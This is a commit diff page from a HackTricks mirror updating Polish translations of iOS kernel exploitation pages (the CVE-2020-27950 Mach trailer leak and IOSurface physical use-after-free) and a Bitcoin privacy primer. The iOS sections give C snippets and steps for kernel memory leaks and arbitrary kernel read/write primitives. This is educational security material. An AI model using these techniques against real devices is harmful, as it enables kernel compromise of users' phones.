maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/ios-exploiting/ios-physical-uaf-ios

Browse Source
This commit is contained in:
Translator 2025-09-30 00:09:18 +00:00
parent e6792c5b1c
commit fdd8042c25
7 changed files with 386 additions and 405 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

30
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
View File

@ -5,11 +5,11 @@
## Błąd
Masz [świetne wyjaśnienie tej podatności tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie:
Masz [świetne wyjaśnienie tej luki tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie:
Każda wiadomość Mach, którą otrzymuje kernel, kończy się **„trailerem”**: strukturą o zmiennej długości zawierającą metadane (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy „trailer”** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, który rozmiar „traileru” zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**.
Każda wiadomość Mach, którą odbiera kernel, kończy się **"trailer"**: zmienno-długościowy struct z metadanymi (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy trailer** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, jaki rozmiar traileru zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**.
To są struktury traileru istotne dla sprawy:
Poniżej znajdują się structs istotne dla traileru:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Następnie, gdy obiekt trailer jest generowany, tylko niektóre pola są inicjalizowane, a maksymalny rozmiar trailer jest zawsze zarezerwowany:
Wtedy, gdy trailer object jest generowany, tylko niektóre pola są inicjalizowane, a max trailer size jest zawsze zarezerwowany:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Na przykład, przy próbie odczytania wiadomości Mach za pomocą `mach_msg()` wywoływana jest funkcja `ipc_kmsg_add_trailer()`, która dołącza trailer do wiadomości. W tej funkcji obliczana jest wielkość trailera i wypełniane są inne pola trailera:
Na przykład, gdy próbujesz odczytać wiadomość mach za pomocą `mach_msg()`, wywoływana jest funkcja `ipc_kmsg_add_trailer()`, aby dołączyć trailer do wiadomości. Wewnątrz tej funkcji obliczany jest rozmiar traileru i wypełniane są inne pola traileru:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Parametr `option` jest kontrolowany przez użytkownika, więc **należy przekazać wartość, która przejdzie sprawdzenie `if`.**
Parametr `option` jest kontrolowany przez użytkownika, więc **konieczne jest przekazanie wartości, która przejdzie sprawdzenie `if`.**
Aby przejść to sprawdzenie, musimy wysłać prawidłowy obsługiwany `option`:
Aby przejść to sprawdzenie, musimy wysłać prawidłowy, obsługiwany `option`:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
@ -67,9 +67,9 @@ Aby przejść to sprawdzenie, musimy wysłać prawidłowy obsługiwany `option`:
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Ale ponieważ `MACH_RCV_TRAILER_MASK` jedynie sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, żeby nie wejść do instrukcji `if`.
Ale ponieważ `MACH_RCV_TRAILER_MASK` po prostu sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, aby nie wejść do środka instrukcji `if`.
Następnie, kontynuując analizę kodu, znajdziesz:
Następnie, kontynuując analizę kodu, można znaleźć:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
@ -92,11 +92,11 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Gdzie widać, że jeśli wartość `option` jest większa lub równa `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane na `0`.
Widać, że jeśli `option` jest większy lub równy `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane do `0`.
Jak zauważyłeś, **`msgh_ad`** wciąż było jedynym polem traileru, które nie zostało wcześniej zainicjalizowane i mogło zawierać leak z wcześniej użytej pamięci.
Jeśli zauważyłeś, **`msgh_ad`** wciąż było jedynym polem w trailerze, które wcześniej nie zostało zainicjalizowane i mogło zawierać leak z wcześniej używanej pamięci.
Zatem, aby uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła w ten `if`, który inicjalizuje `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego żadnego typu traileru.
Aby więc uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła do `if` inicjalizującego `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego typu trailer.
### Basic PoC
@ -104,9 +104,9 @@ Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-h
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **doda kilka adresów kernelowych do wiadomości**, so one of them can be leaked.
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
Dodano komentarze dla lepszego zrozumienia:
Komentarze zostały dodane dla lepszego zrozumienia:
```c
#include <stdio.h>
#include <stdlib.h>
@ -326,7 +326,7 @@ return 0;
```
## Źródła
- [Wpis na blogu Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

50
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
View File

@ -5,16 +5,16 @@
## iOS Exploit Mitigations
- **Code Signing** in iOS działa poprzez wymóg, że każdy kawałek wykonywalnego kodu (aplikacje, biblioteki, rozszerzenia itp.) musi być kryptograficznie podpisany certyfikatem wydanym przez Apple. Gdy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego rootu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmówi jego uruchomienia. To uniemożliwia atakującym wstrzykiwanie złośliwego kodu do legalnych aplikacji lub uruchamianie niepodpisanych binarek, skutecznie blokując większość łańcuchów exploitów polegających na wykonywaniu dowolnego kodu.
- **CoreTrust** to podsystem iOS odpowiedzialny za egzekwowanie code signing w czasie wykonywania. Weryfikuje podpisy bezpośrednio przy użyciu root certyfikatu Apple, nie polegając na lokalnych pamięciach zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub z prawidłowymi entitlements) mogą się wykonać. CoreTrust zapewnia, że nawet jeśli atakujący zmodyfikował aplikację po instalacji, zmienił biblioteki systemowe lub próbował załadować niepodpisany kod, system zablokuje wykonanie, chyba że kod nadal ma poprawny podpis. Ta rygorystyczna egzekucja zamyka wiele wektorów post-exploitation, które starsze wersje iOS pozwalały obejść.
- **Data Execution Prevention (DEP)** oznacza regiony pamięci jako nie-wykonywalne, chyba że explicite zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do regionów danych (np. stosu czy sterty) i jego uruchamianie, zmuszając do użycia bardziej złożonych technik jak ROP.
- **ASLR (Address Space Layout Randomization)** losuje adresy pamięci kodu, bibliotek, stosu i sterty przy każdym uruchomieniu systemu. Utrudnia to przewidzenie lokalizacji przydatnych instrukcji lub gadgetów, łamiąc wiele łańcuchów exploitów zależnych od przewidywalnego układu pamięci.
- **KASLR (Kernel ASLR)** stosuje tę samą losowość do jądra iOS. Przez przetasowanie bazowego adresu jądra przy każdym rozruchu uniemożliwia łatwe znalezienie funkcji lub struktur jądra, podnosząc trudność exploitów na poziomie jądra, które mogłyby uzyskać pełną kontrolę nad systemem.
- **Kernel Patch Protection (KPP)**, znany również jako **AMCC (Apple Mobile File Integrity)** w iOS, ciągle monitoruje strony kodu jądra, aby upewnić się, że nie zostały zmodyfikowane. Jeśli wykryje manipulację — np. exploit próbujący załatać funkcje jądra lub wstawić złośliwy kod — urządzenie zasygnalizuje panic i zrestartuje się. Ta ochrona utrudnia trwałe exploity jądra, ponieważ atakujący nie mogą po prostu hookować czy modyfikować instrukcji jądra bez wywołania awarii systemu.
- **Kernel Text Readonly Region (KTRR)** to sprzętowa funkcja bezpieczeństwa wprowadzona na urządzeniach iOS. Używa kontrolera pamięci CPU do oznaczenia sekcji kodu jądra (text) jako permanentnie tylko do odczytu po starcie. Po zablokowaniu nawet samo jądro nie może modyfikować tego regionu pamięci. To zapobiega atakom (i uprzywilejowanemu kodowi) patchowania instrukcji jądra w czasie działania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu jądra.
- **Pointer Authentication Codes (PAC)** używają podpisów kryptograficznych osadzonych w nieużywanych bitach wskaźników, aby weryfikować ich integralność przed użyciem. Gdy wskaźnik (np. adres powrotu lub wskaźnik funkcji) jest tworzony, CPU podpisuje go sekretnym kluczem; przed dereferencją CPU sprawdza podpis. Jeśli wskaźnik został zmodyfikowany, kontrola zawiedzie i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie podrobionych wskaźników w exploitach korupcji pamięci, utrudniając techniki typu ROP czy JOP.
- **Privilege Access never (PAN)** to funkcja sprzętowa, która uniemożliwia jądru (tryb uprzywilejowany) bezpośrednie odczytywanie pamięci user-space, chyba że explicite włączy dostęp. To zatrzymuje atakujących, którzy uzyskali wykonanie kodu jądra, przed łatwym czytaniem lub zapisywaniem pamięci użytkownika w celu eskalacji uprawnień lub kradzieży danych. Egzekwując ścisły podział, PAN zmniejsza skutki exploitów jądra i blokuje wiele powszechnych technik eskalacji uprawnień.
- **Page Protection Layer (PPL)** to mechanizm bezpieczeństwa iOS, który chroni krytyczne regiony pamięci zarządzane przez jądro, szczególnie te związane z code signing i entitlements. Egzekwuje ścisłe ochrony zapisu używając MMU oraz dodatkowych sprawdzeń, zapewniając, że nawet uprzywilejowany kod jądra nie może dowolnie modyfikować wrażliwych stron. To zapobiega atakującym, którzy uzyskali wykonanie na poziomie jądra, przed manipulacją strukturami krytycznymi dla bezpieczeństwa, utrudniając utrzymanie trwałości i obejścia code signing.
- **Code Signing** in iOS działa poprzez wymóg, aby każdy fragment wykonywalnego kodu (aplikacje, biblioteki, rozszerzenia itd.) był kryptograficznie podpisany certyfikatem wydanym przez Apple. Kiedy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego certyfikatu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmówi uruchomienia. To uniemożliwia atakującym wstrzyknięcie złośliwego kodu do legalnych aplikacji lub uruchamianie niepodpisanych binariów, skutecznie zatrzymując większość łańcuchów exploitów opartych na uruchamianiu dowolnego lub zmodyfikowanego kodu.
- **CoreTrust** jest podsystemem iOS odpowiedzialnym za egzekwowanie code signing w czasie wykonywania. Bezpośrednio weryfikuje podpisy używając root certyfikatu Apple bez polegania na pamięci podręcznej zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub posiadające ważne entitlements) mogą się wykonać. CoreTrust zapewnia, że nawet jeśli atakujący zmodyfikuje aplikację po instalacji, zmieni systemowe biblioteki lub spróbuje załadować niepodpisany kod, system zablokuje wykonanie, chyba że kod pozostaje prawidłowo podpisany. To ścisłe egzekwowanie zamyka wiele wektorów post-exploitation, które w starszych wersjach iOS były możliwe przez słabsze lub obejściowe sprawdzenia podpisów.
- **Data Execution Prevention (DEP)** oznacza regiony pamięci jako nie-wykonywalne, chyba że explicite zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do regionów danych (takich jak stos czy heap) i jego uruchamianie, zmuszając do użycia bardziej złożonych technik jak ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** losuje adresy pamięci kodu, bibliotek, stosu i heapu przy każdym uruchomieniu systemu. Utrudnia to atakującym przewidzenie, gdzie znajdują się przydatne instrukcje lub gadgety, łamiąc wiele łańcuchów exploitów zależnych od stałego układu pamięci.
- **KASLR (Kernel ASLR)** stosuje ten sam koncept losowania do jądra iOS. Mieszając bazowy adres jądra przy każdym rozruchu, uniemożliwia atakującym wiarygodne zlokalizowanie funkcji lub struktur jądra, zwiększając trudność exploitów na poziomie jądra, które w przeciwnym razie dawałyby pełną kontrolę nad systemem.
- **Kernel Patch Protection (KPP)**, znany także jako **AMCC (Apple Mobile File Integrity)** w iOS, ciągle monitoruje strony kodu jądra, by upewnić się, że nie zostały zmodyfikowane. Jeśli wykryte zostanie jakiekolwiek manipulowanie—np. exploit próbujący załatać funkcje jądra lub wstawić złośliwy kod—urządzenie natychmiast zresetuje się (panic). Ta ochrona utrudnia trwałe exploity jądra, ponieważ atakujący nie mogą po prostu hookować lub łatać instrukcji jądra bez wywołania awarii systemu.
- **Kernel Text Readonly Region (KTRR)** to zabezpieczenie sprzętowe wprowadzone na urządzeniach iOS. Używa kontrolera pamięci CPU, aby oznaczyć sekcję kodu (text) jądra jako na stałe tylko do odczytu po starcie. Po zablokowaniu nawet samo jądro nie może modyfikować tego regionu pamięci. To zapobiega atakującym — a nawet uprzywilejowanemu kodowi — przed łamaniem instrukcji jądra w czasie wykonywania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu jądra.
- **Pointer Authentication Codes (PAC)** używają kryptograficznych podpisów osadzonych w nieużywanych bitach wskaźników, aby weryfikować ich integralność przed użyciem. Gdy wskaźnik (np. adres powrotu lub wskaźnik funkcji) jest tworzony, CPU podpisuje go sekretnym kluczem; przed dereferencją CPU sprawdza podpis. Jeśli wskaźnik został sfałszowany, sprawdzenie nie powiedzie się i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie zmodyfikowanych wskaźników w exploitach korupcji pamięci, utrudniając techniki takie jak ROP czy JOP.
- **Privilege Access Never (PAN)** to funkcja sprzętowa, która zapobiega bezpośredniemu dostępowi jądra (tryb uprzywilejowany) do pamięci przestrzeni użytkownika, chyba że explicite włączy dostęp. To blokuje atakujących, którzy uzyskali wykonywanie kodu w jądrze, przed łatwym czytaniem lub zapisywaniem pamięci użytkownika w celu eskalacji lub kradzieży danych. Poprzez wymuszenie ścisłego separowania, PAN zmniejsza wpływ exploitów jądra i blokuje wiele powszechnych technik eskalacji uprawnień.
- **Page Protection Layer (PPL)** jest mechanizmem bezpieczeństwa iOS chroniącym krytyczne regiony zarządzane przez jądro, szczególnie te związane z code signing i entitlements. Wymusza ścisłe protekcje zapisu używając MMU i dodatkowych sprawdzeń, zapewniając, że nawet uprzywilejowany kod jądra nie może dowolnie modyfikować wrażliwych stron. To zapobiega atakującym, którzy uzyskali wykonywanie kodu w jądrze, przed manipulacją strukturami krytycznymi dla bezpieczeństwa, utrudniając uzyskanie trwałości i obejścia podpisów kodu.
## Physical use-after-free
@ -127,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
Wyszukaj obiekty **`IOSurface`** na jednej zwolnionej fizycznej stronie:
Wyszukaj obiekty **`IOSurface`** w jednej zwolnionej stronie fizycznej:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -161,25 +161,25 @@ free(surfaceIDs);
return 0;
}
```
### Uzyskanie odczytu/zapisu jądra za pomocą IOSurface
### Uzyskanie odczytu/zapisu w kernelu za pomocą IOSurface
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (zmapowanym do zwolnionej strony fizycznej dostępnej z userspace), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
Po zdobyciu kontroli nad obiektem IOSurface w pamięci kernela (mapowanym do zwolnionej fizycznej strony dostępnej z userspace), możemy go użyć do **dowolnych operacji odczytu i zapisu w kernelu**.
**Kluczowe pola w IOSurface**
Obiekt IOSurface ma dwa kluczowe pola:
1. **Use Count Pointer**: Pozwala na **32-bit read**.
2. **Indexed Timestamp Pointer**: Pozwala na **64-bit write**.
1. **Use Count Pointer**: umożliwia **32-bitowy odczyt**.
2. **Indexed Timestamp Pointer**: umożliwia **64-bitowy zapis**.
Przez nadpisanie tych wskaźników przekierowujemy je na dowolne adresy w pamięci jądra, umożliwiając operacje odczytu/zapisu.
Nadpisując te wskaźniki, przekierowujemy je do dowolnych adresów w pamięci kernela, umożliwiając operacje odczytu/zapisu.
#### 32-Bit Kernel Read
#### 32-bitowy odczyt w kernelu
Aby wykonać odczyt:
1. Nadpisz **use count pointer**, aby wskazywał na docelowy adres minus offset 0x14 bajtów.
2. Użyj metody `get_use_count`, aby odczytać wartość spod tego adresu.
1. Nadpisz **use count pointer**, aby wskazywał na docelowy adres z odjętym offsetem 0x14 bajtów.
2. Użyj metody `get_use_count`, aby odczytać wartość pod tym adresem.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
@ -197,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-bitowy zapis w jądrze
#### 64-Bit Kernel Write
Aby wykonać zapis:
1. Nadpisz **indexed timestamp pointer**, ustawiając go na docelowy adres.
1. Nadpisz **indexed timestamp pointer**, aby wskazywał na target address.
2. Użyj metody `set_indexed_timestamp`, aby zapisać wartość 64-bitową.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -218,11 +218,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
```
#### Podsumowanie przebiegu exploita
1. **Wywołaj Physical Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
2. **Spray IOSurface Objects**: Alokuj wiele obiektów IOSurface z unikalną "magic value" w kernel memory.
3. **Identify Accessible IOSurface**: Znajdź IOSurface na zwolnionej stronie, którą kontrolujesz.
1. **Trigger Physical Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
2. **Spray IOSurface Objects**: Alokuj wiele obiektów IOSurface z unikalną "magic value" w pamięci jądra.
3. **Identify Accessible IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
4. **Abuse Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić arbitralne **kernel read/write** za pomocą metod IOSurface.
Dzięki tym prymitywom exploit zapewnia kontrolowane **32-bit reads** i **64-bit writes** do kernel memory. Dalsze kroki jailbreak mogą wymagać bardziej stabilnych read/write primitives, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
Dzięki tym prymitywom exploit zapewnia kontrolowane **32-bit reads** i **64-bit writes** w pamięci jądra. Dalsze kroki jailbreak mogą wymagać bardziej stabilnych prymitywów read/write, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
{{#include ../../banners/hacktricks-training.md}}

158
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,176 +1,178 @@
# Blockchain i Kryptowaluty
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe Pojęcia
## Podstawowe pojęcia
- **Smart Contracts** to programy, które wykonują się na blockchainie, gdy spełnione są określone warunki, automatyzując realizację umów bez pośredników.
- **Decentralized Applications (dApps)** opierają się na smart contracts, oferując przyjazny interfejs użytkownika oraz przejrzysty, audytowalny backend.
- **Tokens & Coins** różnią się tym, że monety służą jako cyfrowe pieniądze, podczas gdy tokeny reprezentują wartość lub własność w określonych kontekstach.
- **Smart Contracts** są definiowane jako programy, które wykonują się na blockchainie, gdy spełnione są określone warunki, automatyzując realizację umów bez pośredników.
- **Decentralized Applications (dApps)** opierają się na smart contracts, oferując przyjazny dla użytkownika front-end oraz przejrzysty, audytowalny back-end.
- **Tokens & Coins** rozróżniają się tym, że coins służą jako cyfrowe pieniądze, podczas gdy tokens reprezentują wartość lub własność w określonych kontekstach.
- **Utility Tokens** dają dostęp do usług, a **Security Tokens** oznaczają własność aktywów.
- **DeFi** oznacza Decentralized Finance, oferując usługi finansowe bez centralnych władz.
- **DEX** i **DAOs** odnoszą się odpowiednio do Decentralized Exchange Platforms i Decentralized Autonomous Organizations.
## Mechanizmy Konsensusu
## Mechanizmy konsensusu
Mechanizmy konsensusu zapewniają bezpieczne i uzgodnione walidacje transakcji na blockchainie:
Mechanizmy konsensusu zapewniają bezpieczną i uzgodnioną weryfikację transakcji w blockchainie:
- **Proof of Work (PoW)** opiera się na mocy obliczeniowej do weryfikacji transakcji.
- **Proof of Stake (PoS)** wymaga, aby walidatorzy posiadali określoną ilość tokenów, co zmniejsza zużycie energii w porównaniu do PoW.
- **Proof of Stake (PoS)** wymaga, aby walidatorzy posiadali określoną ilość tokenów, redukując zużycie energii w porównaniu do PoW.
## Podstawy Bitcoina
### Transakcje
Transakcje Bitcoinowe polegają na transferze środków między adresami. Transakcje są weryfikowane za pomocą podpisów cyfrowych, co zapewnia, że tylko właściciel klucza prywatnego może inicjować transfery.
Transakcje Bitcoin polegają na przesyłaniu środków między adresami. Transakcje są weryfikowane za pomocą podpisów cyfrowych, co zapewnia, że tylko właściciel klucza prywatnego może inicjować przelewy.
#### Kluczowe Komponenty:
#### Kluczowe elementy:
- **Multisignature Transactions** wymagają wielu podpisów do autoryzacji transakcji.
- Transakcje składają się z **inputs** (źródło funduszy), **outputs** (cel), **fees** (płatne górnikom) oraz **scripts** (zasady transakcji).
- Transakcje składają się z **inputs** (źródło środków), **outputs** (miejsce docelowe), **fees** (płaconych górnikom) i **scripts** (zasady transakcji).
### Lightning Network
Ma na celu zwiększenie skalowalności Bitcoina, umożliwiając wiele transakcji w ramach jednego kanału, transmitując tylko końcowy stan do blockchaina.
Ma na celu poprawę skalowalności Bitcoina poprzez umożliwienie wielu transakcji wewnątrz kanału, wysyłając do blockchaina jedynie stan końcowy.
## Problemy z Prywatnością Bitcoina
## Zagadnienia prywatności Bitcoina
Ataki na prywatność, takie jak **Common Input Ownership** i **UTXO Change Address Detection**, wykorzystują wzorce transakcji. Strategie takie jak **Mixers** i **CoinJoin** poprawiają anonimowość, zaciemniając powiązania transakcyjne między użytkownikami.
Ataki na prywatność, takie jak **Common Input Ownership** i **UTXO Change Address Detection**, wykorzystują wzorce transakcji. Strategie takie jak **Mixers** i **CoinJoin** zwiększają anonimowość, zaciemniając powiązania transakcji między użytkownikami.
## Nabywanie Bitcoinów Anonimowo
## Pozyskiwanie Bitcoinów anonimowo
Metody obejmują transakcje gotówkowe, kopanie oraz korzystanie z mixerów. **CoinJoin** łączy wiele transakcji, aby skomplikować śledzenie, podczas gdy **PayJoin** maskuje CoinJoins jako zwykłe transakcje dla zwiększonej prywatności.
Metody obejmują transakcje za gotówkę, mining oraz użycie mixers. **CoinJoin** miesza wiele transakcji, aby utrudnić śledzenie, podczas gdy **PayJoin** maskuje CoinJoins jako zwykłe transakcje dla zwiększenia prywatności.
# Ataki na Prywatność Bitcoina
# Ataki na prywatność Bitcoina
# Podsumowanie Ataków na Prywatność Bitcoina
# Podsumowanie ataków na prywatność Bitcoina
W świecie Bitcoina prywatność transakcji i anonimowość użytkowników są często przedmiotem obaw. Oto uproszczony przegląd kilku powszechnych metod, za pomocą których napastnicy mogą naruszyć prywatność Bitcoina.
W świecie Bitcoina prywatność transakcji i anonimowość użytkowników często budzą obawy. Oto uproszczony przegląd kilku powszechnych metod, za pomocą których atakujący mogą naruszyć prywatność Bitcoina.
## **Założenie Własności Wspólnego Wejścia**
## **Common Input Ownership Assumption**
Zazwyczaj rzadko zdarza się, aby wejścia od różnych użytkowników były łączone w jednej transakcji z powodu związanej z tym złożoności. Dlatego **dwa adresy wejściowe w tej samej transakcji często zakłada się, że należą do tego samego właściciela**.
Zwykle rzadko zdarza się, by inputs od różnych użytkowników były łączone w jednej transakcji ze względu na złożoność tego procesu. Dlatego **dwa adresy input w tej samej transakcji często uznaje się za należące do tego samego właściciela**.
## **Wykrywanie Adresu Zmiany UTXO**
## **UTXO Change Address Detection**
UTXO, czyli **Unspent Transaction Output**, musi być całkowicie wydany w transakcji. Jeśli tylko część z niego jest wysyłana na inny adres, reszta trafia na nowy adres zmiany. Obserwatorzy mogą założyć, że ten nowy adres należy do nadawcy, co narusza prywatność.
UTXO, czyli **Unspent Transaction Output**, musi zostać w całości wykorzystany w transakcji. Jeśli tylko część zostanie wysłana na inny adres, reszta trafia na nowy change address. Obserwatorzy mogą założyć, że ten nowy adres należy do nadawcy, co narusza prywatność.
### Przykład
Aby to złagodzić, usługi miksujące lub korzystanie z wielu adresów mogą pomóc w zaciemnieniu własności.
Aby to złagodzić, usługi mixingowe lub korzystanie z wielu adresów mogą pomóc zaciemnić własność.
## **Ekspozycja w Sieciach Społecznościowych i Forach**
## **Social Networks & Forums Exposure**
Użytkownicy czasami dzielą się swoimi adresami Bitcoinowymi w Internecie, co sprawia, że **łatwo jest powiązać adres z jego właścicielem**.
Użytkownicy czasami udostępniają swoje adresy Bitcoin online, co sprawia, że **łatwo jest powiązać adres z jego właścicielem**.
## **Analiza Grafów Transakcji**
## **Transaction Graph Analysis**
Transakcje można wizualizować jako grafy, ujawniające potencjalne powiązania między użytkownikami na podstawie przepływu funduszy.
Transakcje można wizualizować jako grafy, ujawniając potencjalne powiązania między użytkownikami na podstawie przepływu środków.
## **Heurystyka Niepotrzebnego Wejścia (Heurystyka Optymalnej Zmiany)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Ta heurystyka opiera się na analizie transakcji z wieloma wejściami i wyjściami, aby zgadnąć, które wyjście jest zmianą wracającą do nadawcy.
Ta heurystyka opiera się na analizie transakcji z wieloma inputs i outputs w celu odgadnięcia, który output jest change zwracającym się do nadawcy.
### Przykład
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Jeśli dodanie większej liczby wejść sprawia, że zmiana wyjścia jest większa niż jakiekolwiek pojedyncze wejście, może to zmylić heurystykę.
